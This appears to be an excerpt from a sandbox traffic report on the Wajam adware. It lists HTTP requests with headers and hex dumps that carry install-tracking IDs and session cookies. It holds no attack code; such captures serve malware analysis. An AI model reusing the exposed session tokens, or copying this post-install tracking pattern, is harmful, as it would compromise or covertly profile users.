Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: www.wajam.com
DNT: 1
Connection: Keep-Alive
Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 A8 0B 60 40 00 80 06 AB 50 C0 A8 F0 F9 05 87 [...`@....P......]
    20 : 8A 76 C0 ED 00 50 40 58 04 1C EB 14 A5 31 50 18 [.v...P@X.....1P.]
    30 : FA F0 7E 9F 00 00 47 45 54 20 2F 6A 73 2F 6D 69 [..~...GET /js/mi]
    40 : 6E 5F 67 65 6E 65 72 61 6C 5F 65 6E 2E 6A 73 3F [n_general_en.js?]
    50 : 31 2E 30 30 34 33 34 2E 30 20 48 54 54 50 2F 31 [1.00434.0 HTTP/1]
    60 : 2E 31 0D 0A 41 63 63 65 70 74 3A 20 61 70 70 6C [.1..Accept: appl]
    70 : 69 63 61 74 69 6F 6E 2F 6A 61 76 61 73 63 72 69 [ication/javascri]
    80 : 70 74 2C 20 2A 2F 2A 3B 71 3D 30 2E 38 0D 0A 52 [pt, */*;q=0.8..R]
    90 : 65 66 65 72 65 72 3A 20 68 74 74 70 3A 2F 2F 77 [eferer: http://w]
    A0 : 77 77 2E 77 61 6A 61 6D 2E 63 6F 6D 2F 69 6E 64 [ww.wajam.com/ind]
    B0 : 65 78 2E 70 68 70 3F 66 69 72 73 74 72 75 6E 3D [ex.php?firstrun=]
    C0 : 31 26 75 6E 69 71 75 65 5F 69 64 3D 43 37 43 39 [1&unique_id=C7C9]
    D0 : 32 44 38 37 46 31 45 46 32 42 43 35 34 42 46 31 [2D87F1EF2BC54BF1]
    E0 : 46 33 38 32 45 35 39 34 39 38 35 37 26 61 69 64 [F382E5949857&aid]
    F0 : 3D 33 36 37 33 26 61 69 64 32 3D 6E 6F 6E 65 26 [=3673&aid2=none&]
   100 : 65 6E 61 62 6C 65 64 3D 31 26 74 76 3D 31 2E 39 [enabled=1&tv=1.9]
   110 : 32 2D 31 33 26 69 6E 73 74 61 6C 6C 5F 74 69 6D [2-13&install_tim]
   120 : 65 73 74 61 6D 70 3D 31 35 36 30 39 36 35 38 33 [estamp=156096583]
   130 : 31 26 63 6C 70 3D 0D 0A 41 63 63 65 70 74 2D 4C [1&clp=..Accept-L]
   140 : 61 6E 67 75 61 67 65 3A 20 65 6E 2D 55 53 0D 0A [anguage: en-US..]
   150 : 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 [User-Agent: Mozi]
   160 : 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 [lla/5.0 (Windows]
   170 : 20 4E 54 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 [ NT 6.1; Trident]
   180 : 2F 37 2E 30 3B 20 72 76 3A 31 31 2E 30 29 20 6C [/7.0; rv:11.0) l]
   190 : 69 6B 65 20 47 65 63 6B 6F 0D 0A 41 63 63 65 70 [ike Gecko..Accep]
   1A0 : 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A 69 70 [t-Encoding: gzip]
   1B0 : 2C 20 64 65 66 6C 61 74 65 0D 0A 48 6F 73 74 3A [, deflate..Host:]
   1C0 : 20 77 77 77 2E 77 61 6A 61 6D 2E 63 6F 6D 0D 0A [ www.wajam.com..]
   1D0 : 44 4E 54 3A 20 31 0D 0A 43 6F 6E 6E 65 63 74 69 [DNT: 1..Connecti]
   1E0 : 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A [on: Keep-Alive..]
   1F0 : 43 6F 6F 6B 69 65 3A 20 5F 77 61 75 3D 31 35 36 [Cookie: _wau=156]
   200 : 30 39 35 38 35 35 33 38 36 37 31 35 34 30 3B 20 [09585538671540; ]
   210 : 5F 77 61 6C 3D 31 35 36 30 39 35 38 35 38 38 3B [_wal=1560958588;]
   220 : 20 50 48 50 53 45 53 53 49 44 3D 32 33 39 64 63 [ PHPSESSID=239dc]
   230 : 39 32 38 63 61 73 6D 32 30 6F 6D 6D 66 6E 6A 61 [928casm20ommfnja]
   240 : 67 65 76 66 64 3B 20 6E 6F 74 5F 6C 6F 67 67 65 [gevfd; not_logge]
   250 : 64 5F 75 6E 69 71 75 65 5F 69 64 3D 43 37 43 39 [d_unique_id=C7C9]
   260 : 32 44 38 37 46 31 45 46 32 42 43 35 34 42 46 31 [2D87F1EF2BC54BF1]
   270 : 46 33 38 32 45 35 39 34 39 38 35 37 3B 20 77 61 [F382E5949857; wa]
   280 : 6A 61 6D 5F 69 65 5F 61 64 64 6F 6E 5F 69 6E 73 [jam_ie_addon_ins]
   290 : 74 61 6C 6C 65 64 3D 31 3B 20 41 50 50 53 45 53 [talled=1; APPSES]
   2A0 : 53 49 44 3D 77 33 7C 58 51 70 57 70 7C 58 51 70 [SID=w3|XQpWp|XQp]
   2B0 : 57 70 0D 0A 0D 0A [Wp....]

172.217.7.170:80 (ajax.googleapis.com)

GET

ajax.googleapis.com/ajax/libs/jqueryui/1.8.16/jquery-ui.js?1.00434.0

GET /ajax/libs/jqueryui/1.8.16/jquery-ui.js?1.00434.0 HTTP/1.1 Accept: application/javascript, */*;q=0.8 Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: ajax.googleapis.com DNT: 1 Connection: Keep-Alive More Details

Format

Details

Request

GET /ajax/libs/jqueryui/1.8.16/jquery-ui.js?1.00434.0 HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: ajax.googleapis.com
DNT: 1
Connection: Keep-Alive

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 01 FC 0B 6B 40 00 80 06 87 6B C0 A8 F0 F9 AC D9 [...k@....k......]
    20 : 07 AA C0 F6 00 50 46 05 47 B7 39 60 EC DF 50 18 [.....PF.G.9`..P.]
    30 : 01 02 89 CA 00 00 47 45 54 20 2F 61 6A 61 78 2F [......GET /ajax/]
    40 : 6C 69 62 73 2F 6A 71 75 65 72 79 75 69 2F 31 2E [libs/jqueryui/1.]
    50 : 38 2E 31 36 2F 6A 71 75 65 72 79 2D 75 69 2E 6A [8.16/jquery-ui.j]
    60 : 73 3F 31 2E 30 30 34 33 34 2E 30 20 48 54 54 50 [s?1.00434.0 HTTP]
    70 : 2F 31 2E 31 0D 0A 41 63 63 65 70 74 3A 20 61 70 [/1.1..Accept: ap]
    80 : 70 6C 69 63 61 74 69 6F 6E 2F 6A 61 76 61 73 63 [plication/javasc]
    90 : 72 69 70 74 2C 20 2A 2F 2A 3B 71 3D 30 2E 38 0D [ript, */*;q=0.8.]
    A0 : 0A 52 65 66 65 72 65 72 3A 20 68 74 74 70 3A 2F [.Referer: http:/]
    B0 : 2F 77 77 77 2E 77 61 6A 61 6D 2E 63 6F 6D 2F 69 [/www.wajam.com/i]
    C0 : 6E 64 65 78 2E 70 68 70 3F 66 69 72 73 74 72 75 [ndex.php?firstru]
    D0 : 6E 3D 31 26 75 6E 69 71 75 65 5F 69 64 3D 43 37 [n=1&unique_id=C7]
    E0 : 43 39 32 44 38 37 46 31 45 46 32 42 43 35 34 42 [C92D87F1EF2BC54B]
    F0 : 46 31 46 33 38 32 45 35 39 34 39 38 35 37 26 61 [F1F382E5949857&a]
   100 : 69 64 3D 33 36 37 33 26 61 69 64 32 3D 6E 6F 6E [id=3673&aid2=non]
   110 : 65 26 65 6E 61 62 6C 65 64 3D 31 26 74 76 3D 31 [e&enabled=1&tv=1]
   120 : 2E 39 32 2D 31 33 26 69 6E 73 74 61 6C 6C 5F 74 [.92-13&install_t]
   130 : 69 6D 65 73 74 61 6D 70 3D 31 35 36 30 39 36 35 [imestamp=1560965]
   140 : 38 33 31 26 63 6C 70 3D 0D 0A 41 63 63 65 70 74 [831&clp=..Accept]
   150 : 2D 4C 61 6E 67 75 61 67 65 3A 20 65 6E 2D 55 53 [-Language: en-US]
   160 : 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F [..User-Agent: Mo]
   170 : 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F [zilla/5.0 (Windo]
   180 : 77 73 20 4E 54 20 36 2E 31 3B 20 54 72 69 64 65 [ws NT 6.1; Tride]
   190 : 6E 74 2F 37 2E 30 3B 20 72 76 3A 31 31 2E 30 29 [nt/7.0; rv:11.0)]
   1A0 : 20 6C 69 6B 65 20 47 65 63 6B 6F 0D 0A 41 63 63 [ like Gecko..Acc]
   1B0 : 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A [ept-Encoding: gz]
   1C0 : 69 70 2C 20 64 65 66 6C 61 74 65 0D 0A 48 6F 73 [ip, deflate..Hos]
   1D0 : 74 3A 20 61 6A 61 78 2E 67 6F 6F 67 6C 65 61 70 [t: ajax.googleap]
   1E0 : 69 73 2E 63 6F 6D 0D 0A 44 4E 54 3A 20 31 0D 0A [is.com..DNT: 1..]
   1F0 : 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 [Connection: Keep]
   200 : 2D 41 6C 69 76 65 0D 0A 0D 0A [-Alive....]

172.217.7.170:80 (ajax.googleapis.com)

GET

ajax.googleapis.com/ajax/libs/jquery/1.7/jquery.min.js?1.00434.0

GET /ajax/libs/jquery/1.7/jquery.min.js?1.00434.0 HTTP/1.1 Accept: application/javascript, */*;q=0.8 Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: ajax.googleapis.com DNT: 1 Connection: Keep-Alive More Details

Format

Details

Request

GET /ajax/libs/jquery/1.7/jquery.min.js?1.00434.0 HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: ajax.googleapis.com
DNT: 1
Connection: Keep-Alive

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 01 F8 0B 6C 40 00 80 06 87 6E C0 A8 F0 F9 AC D9 [...l@....n......]
    20 : 07 AA C0 F7 00 50 1A 86 94 36 E2 D9 A9 FC 50 18 [.....P...6....P.]
    30 : 01 02 A8 9E 00 00 47 45 54 20 2F 61 6A 61 78 2F [......GET /ajax/]
    40 : 6C 69 62 73 2F 6A 71 75 65 72 79 2F 31 2E 37 2F [libs/jquery/1.7/]
    50 : 6A 71 75 65 72 79 2E 6D 69 6E 2E 6A 73 3F 31 2E [jquery.min.js?1.]
    60 : 30 30 34 33 34 2E 30 20 48 54 54 50 2F 31 2E 31 [00434.0 HTTP/1.1]
    70 : 0D 0A 41 63 63 65 70 74 3A 20 61 70 70 6C 69 63 [..Accept: applic]
    80 : 61 74 69 6F 6E 2F 6A 61 76 61 73 63 72 69 70 74 [ation/javascript]
    90 : 2C 20 2A 2F 2A 3B 71 3D 30 2E 38 0D 0A 52 65 66 [, */*;q=0.8..Ref]
    A0 : 65 72 65 72 3A 20 68 74 74 70 3A 2F 2F 77 77 77 [erer: http://www]
    B0 : 2E 77 61 6A 61 6D 2E 63 6F 6D 2F 69 6E 64 65 78 [.wajam.com/index]
    C0 : 2E 70 68 70 3F 66 69 72 73 74 72 75 6E 3D 31 26 [.php?firstrun=1&]
    D0 : 75 6E 69 71 75 65 5F 69 64 3D 43 37 43 39 32 44 [unique_id=C7C92D]
    E0 : 38 37 46 31 45 46 32 42 43 35 34 42 46 31 46 33 [87F1EF2BC54BF1F3]
    F0 : 38 32 45 35 39 34 39 38 35 37 26 61 69 64 3D 33 [82E5949857&aid=3]
   100 : 36 37 33 26 61 69 64 32 3D 6E 6F 6E 65 26 65 6E [673&aid2=none&en]
   110 : 61 62 6C 65 64 3D 31 26 74 76 3D 31 2E 39 32 2D [abled=1&tv=1.92-]
   120 : 31 33 26 69 6E 73 74 61 6C 6C 5F 74 69 6D 65 73 [13&install_times]
   130 : 74 61 6D 70 3D 31 35 36 30 39 36 35 38 33 31 26 [tamp=1560965831&]
   140 : 63 6C 70 3D 0D 0A 41 63 63 65 70 74 2D 4C 61 6E [clp=..Accept-Lan]
   150 : 67 75 61 67 65 3A 20 65 6E 2D 55 53 0D 0A 55 73 [guage: en-US..Us]
   160 : 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C [er-Agent: Mozill]
   170 : 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E [a/5.0 (Windows N]
   180 : 54 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 2F 37 [T 6.1; Trident/7]
   190 : 2E 30 3B 20 72 76 3A 31 31 2E 30 29 20 6C 69 6B [.0; rv:11.0) lik]
   1A0 : 65 20 47 65 63 6B 6F 0D 0A 41 63 63 65 70 74 2D [e Gecko..Accept-]
   1B0 : 45 6E 63 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 20 [Encoding: gzip, ]
   1C0 : 64 65 66 6C 61 74 65 0D 0A 48 6F 73 74 3A 20 61 [deflate..Host: a]
   1D0 : 6A 61 78 2E 67 6F 6F 67 6C 65 61 70 69 73 2E 63 [jax.googleapis.c]
   1E0 : 6F 6D 0D 0A 44 4E 54 3A 20 31 0D 0A 43 6F 6E 6E [om..DNT: 1..Conn]
   1F0 : 65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 [ection: Keep-Ali]
   200 : 76 65 0D 0A 0D 0A [ve....]

192.229.163.25:80 (platform.twitter.com)

GET

platform.twitter.com/widgets.js?1.00434.0

GET /widgets.js?1.00434.0 HTTP/1.1 Accept: application/javascript, */*;q=0.8 Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: platform.twitter.com DNT: 1 Connection: Keep-Alive Cookie: personalization_id="v1_klJqB00qZ2y8VHUHD/E+KQ=="; guest_id=v1%3A1512457558... More Details

Format

Details

Request

GET /widgets.js?1.00434.0 HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: platform.twitter.com
DNT: 1
Connection: Keep-Alive
Cookie: personalization_id="v1_klJqB00qZ2y8VHUHD/E+KQ=="; guest_id=v1%3A151245755858269842

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 3D 0B 77 40 00 80 06 D7 A2 C0 A8 F0 F9 C0 E5 [.=.w@...........]
    20 : A3 19 C0 FE 00 50 ED 23 1F 63 99 63 26 A6 50 18 [.....P.#.c.c&.P.]
    30 : 01 00 C8 3E 00 00 47 45 54 20 2F 77 69 64 67 65 [...>..GET /widge]
    40 : 74 73 2E 6A 73 3F 31 2E 30 30 34 33 34 2E 30 20 [ts.js?1.00434.0 ]
    50 : 48 54 54 50 2F 31 2E 31 0D 0A 41 63 63 65 70 74 [HTTP/1.1..Accept]
    60 : 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6A 61 [: application/ja]
    70 : 76 61 73 63 72 69 70 74 2C 20 2A 2F 2A 3B 71 3D [vascript, */*;q=]
    80 : 30 2E 38 0D 0A 52 65 66 65 72 65 72 3A 20 68 74 [0.8..Referer: ht]
    90 : 74 70 3A 2F 2F 77 77 77 2E 77 61 6A 61 6D 2E 63 [tp://www.wajam.c]
    A0 : 6F 6D 2F 69 6E 64 65 78 2E 70 68 70 3F 66 69 72 [om/index.php?fir]
    B0 : 73 74 72 75 6E 3D 31 26 75 6E 69 71 75 65 5F 69 [strun=1&unique_i]
    C0 : 64 3D 43 37 43 39 32 44 38 37 46 31 45 46 32 42 [d=C7C92D87F1EF2B]
    D0 : 43 35 34 42 46 31 46 33 38 32 45 35 39 34 39 38 [C54BF1F382E59498]
    E0 : 35 37 26 61 69 64 3D 33 36 37 33 26 61 69 64 32 [57&aid=3673&aid2]
    F0 : 3D 6E 6F 6E 65 26 65 6E 61 62 6C 65 64 3D 31 26 [=none&enabled=1&]
   100 : 74 76 3D 31 2E 39 32 2D 31 33 26 69 6E 73 74 61 [tv=1.92-13&insta]
   110 : 6C 6C 5F 74 69 6D 65 73 74 61 6D 70 3D 31 35 36 [ll_timestamp=156]
   120 : 30 39 36 35 38 33 31 26 63 6C 70 3D 0D 0A 41 63 [0965831&clp=..Ac]
   130 : 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 [cept-Language: e]
   140 : 6E 2D 55 53 0D 0A 55 73 65 72 2D 41 67 65 6E 74 [n-US..User-Agent]
   150 : 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 [: Mozilla/5.0 (W]
   160 : 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 54 [indows NT 6.1; T]
   170 : 72 69 64 65 6E 74 2F 37 2E 30 3B 20 72 76 3A 31 [rident/7.0; rv:1]
   180 : 31 2E 30 29 20 6C 69 6B 65 20 47 65 63 6B 6F 0D [1.0) like Gecko.]
   190 : 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 [.Accept-Encoding]
   1A0 : 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61 74 65 0D [: gzip, deflate.]
   1B0 : 0A 48 6F 73 74 3A 20 70 6C 61 74 66 6F 72 6D 2E [.Host: platform.]
   1C0 : 74 77 69 74 74 65 72 2E 63 6F 6D 0D 0A 44 4E 54 [twitter.com..DNT]
   1D0 : 3A 20 31 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A [: 1..Connection:]
   1E0 : 20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 43 6F 6F [ Keep-Alive..Coo]
   1F0 : 6B 69 65 3A 20 70 65 72 73 6F 6E 61 6C 69 7A 61 [kie: personaliza]
   200 : 74 69 6F 6E 5F 69 64 3D 22 76 31 5F 6B 6C 4A 71 [tion_id="v1_klJq]
   210 : 42 30 30 71 5A 32 79 38 56 48 55 48 44 2F 45 2B [B00qZ2y8VHUHD/E+]
   220 : 4B 51 3D 3D 22 3B 20 67 75 65 73 74 5F 69 64 3D [KQ=="; guest_id=]
   230 : 76 31 25 33 41 31 35 31 32 34 35 37 35 35 38 35 [v1%3A15124575585]
   240 : 38 32 36 39 38 34 32 0D 0A 0D 0A [8269842....]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/js/min_fancybox.js?1.00434.0

GET /js/min_fancybox.js?1.00434.0 HTTP/1.1 Accept: application/javascript, */*;q=0.8 Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: www.wajam.com DNT: 1 Connection: Keep-Alive Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjag... More Details

Format

Details

Request

GET /js/min_fancybox.js?1.00434.0 HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: www.wajam.com
DNT: 1
Connection: Keep-Alive
Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 A6 0B 85 40 00 80 06 AB 2D C0 A8 F0 F9 05 87 [....@....-......]
    20 : 8A 76 C0 F8 00 50 49 C8 B6 6C FF AE 7D 17 50 18 [.v...PI..l..}.P.]
    30 : FA F0 32 B0 00 00 47 45 54 20 2F 6A 73 2F 6D 69 [..2...GET /js/mi]
    40 : 6E 5F 66 61 6E 63 79 62 6F 78 2E 6A 73 3F 31 2E [n_fancybox.js?1.]
    50 : 30 30 34 33 34 2E 30 20 48 54 54 50 2F 31 2E 31 [00434.0 HTTP/1.1]
    60 : 0D 0A 41 63 63 65 70 74 3A 20 61 70 70 6C 69 63 [..Accept: applic]
    70 : 61 74 69 6F 6E 2F 6A 61 76 61 73 63 72 69 70 74 [ation/javascript]
    80 : 2C 20 2A 2F 2A 3B 71 3D 30 2E 38 0D 0A 52 65 66 [, */*;q=0.8..Ref]
    90 : 65 72 65 72 3A 20 68 74 74 70 3A 2F 2F 77 77 77 [erer: http://www]
    A0 : 2E 77 61 6A 61 6D 2E 63 6F 6D 2F 69 6E 64 65 78 [.wajam.com/index]
    B0 : 2E 70 68 70 3F 66 69 72 73 74 72 75 6E 3D 31 26 [.php?firstrun=1&]
    C0 : 75 6E 69 71 75 65 5F 69 64 3D 43 37 43 39 32 44 [unique_id=C7C92D]
    D0 : 38 37 46 31 45 46 32 42 43 35 34 42 46 31 46 33 [87F1EF2BC54BF1F3]
    E0 : 38 32 45 35 39 34 39 38 35 37 26 61 69 64 3D 33 [82E5949857&aid=3]
    F0 : 36 37 33 26 61 69 64 32 3D 6E 6F 6E 65 26 65 6E [673&aid2=none&en]
   100 : 61 62 6C 65 64 3D 31 26 74 76 3D 31 2E 39 32 2D [abled=1&tv=1.92-]
   110 : 31 33 26 69 6E 73 74 61 6C 6C 5F 74 69 6D 65 73 [13&install_times]
   120 : 74 61 6D 70 3D 31 35 36 30 39 36 35 38 33 31 26 [tamp=1560965831&]
   130 : 63 6C 70 3D 0D 0A 41 63 63 65 70 74 2D 4C 61 6E [clp=..Accept-Lan]
   140 : 67 75 61 67 65 3A 20 65 6E 2D 55 53 0D 0A 55 73 [guage: en-US..Us]
   150 : 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C [er-Agent: Mozill]
   160 : 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E [a/5.0 (Windows N]
   170 : 54 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 2F 37 [T 6.1; Trident/7]
   180 : 2E 30 3B 20 72 76 3A 31 31 2E 30 29 20 6C 69 6B [.0; rv:11.0) lik]
   190 : 65 20 47 65 63 6B 6F 0D 0A 41 63 63 65 70 74 2D [e Gecko..Accept-]
   1A0 : 45 6E 63 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 20 [Encoding: gzip, ]
   1B0 : 64 65 66 6C 61 74 65 0D 0A 48 6F 73 74 3A 20 77 [deflate..Host: w]
   1C0 : 77 77 2E 77 61 6A 61 6D 2E 63 6F 6D 0D 0A 44 4E [ww.wajam.com..DN]
   1D0 : 54 3A 20 31 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E [T: 1..Connection]
   1E0 : 3A 20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 43 6F [: Keep-Alive..Co]
   1F0 : 6F 6B 69 65 3A 20 5F 77 61 75 3D 31 35 36 30 39 [okie: _wau=15609]
   200 : 35 38 35 35 33 38 36 37 31 35 34 30 3B 20 5F 77 [585538671540; _w]
   210 : 61 6C 3D 31 35 36 30 39 35 38 35 38 38 3B 20 50 [al=1560958588; P]
   220 : 48 50 53 45 53 53 49 44 3D 32 33 39 64 63 39 32 [HPSESSID=239dc92]
   230 : 38 63 61 73 6D 32 30 6F 6D 6D 66 6E 6A 61 67 65 [8casm20ommfnjage]
   240 : 76 66 64 3B 20 6E 6F 74 5F 6C 6F 67 67 65 64 5F [vfd; not_logged_]
   250 : 75 6E 69 71 75 65 5F 69 64 3D 43 37 43 39 32 44 [unique_id=C7C92D]
   260 : 38 37 46 31 45 46 32 42 43 35 34 42 46 31 46 33 [87F1EF2BC54BF1F3]
   270 : 38 32 45 35 39 34 39 38 35 37 3B 20 77 61 6A 61 [82E5949857; waja]
   280 : 6D 5F 69 65 5F 61 64 64 6F 6E 5F 69 6E 73 74 61 [m_ie_addon_insta]
   290 : 6C 6C 65 64 3D 31 3B 20 41 50 50 53 45 53 53 49 [lled=1; APPSESSI]
   2A0 : 44 3D 77 33 7C 58 51 70 57 70 7C 58 51 70 57 70 [D=w3|XQpWp|XQpWp]
   2B0 : 0D 0A 0D 0A [....]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/js/min_signup_page.js?1.00434.0

GET /js/min_signup_page.js?1.00434.0 HTTP/1.1 Accept: application/javascript, */*;q=0.8 Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: www.wajam.com DNT: 1 Connection: Keep-Alive Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfn... More Details

Format

Details

Request

GET /js/min_signup_page.js?1.00434.0 HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: www.wajam.com
DNT: 1
Connection: Keep-Alive
Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 A9 0B 88 40 00 80 06 AB 27 C0 A8 F0 F9 05 87 [....@....'......]
    20 : 8A 76 C0 F9 00 50 34 E9 62 F9 E1 9C 7E 0F 50 18 [.v...P4.b...~.P.]
    30 : FA F0 C5 D1 00 00 47 45 54 20 2F 6A 73 2F 6D 69 [......GET /js/mi]
    40 : 6E 5F 73 69 67 6E 75 70 5F 70 61 67 65 2E 6A 73 [n_signup_page.js]
    50 : 3F 31 2E 30 30 34 33 34 2E 30 20 48 54 54 50 2F [?1.00434.0 HTTP/]
    60 : 31 2E 31 0D 0A 41 63 63 65 70 74 3A 20 61 70 70 [1.1..Accept: app]
    70 : 6C 69 63 61 74 69 6F 6E 2F 6A 61 76 61 73 63 72 [lication/javascr]
    80 : 69 70 74 2C 20 2A 2F 2A 3B 71 3D 30 2E 38 0D 0A [ipt, */*;q=0.8..]
    90 : 52 65 66 65 72 65 72 3A 20 68 74 74 70 3A 2F 2F [Referer: http://]
    A0 : 77 77 77 2E 77 61 6A 61 6D 2E 63 6F 6D 2F 69 6E [www.wajam.com/in]
    B0 : 64 65 78 2E 70 68 70 3F 66 69 72 73 74 72 75 6E [dex.php?firstrun]
    C0 : 3D 31 26 75 6E 69 71 75 65 5F 69 64 3D 43 37 43 [=1&unique_id=C7C]
    D0 : 39 32 44 38 37 46 31 45 46 32 42 43 35 34 42 46 [92D87F1EF2BC54BF]
    E0 : 31 46 33 38 32 45 35 39 34 39 38 35 37 26 61 69 [1F382E5949857&ai]
    F0 : 64 3D 33 36 37 33 26 61 69 64 32 3D 6E 6F 6E 65 [d=3673&aid2=none]
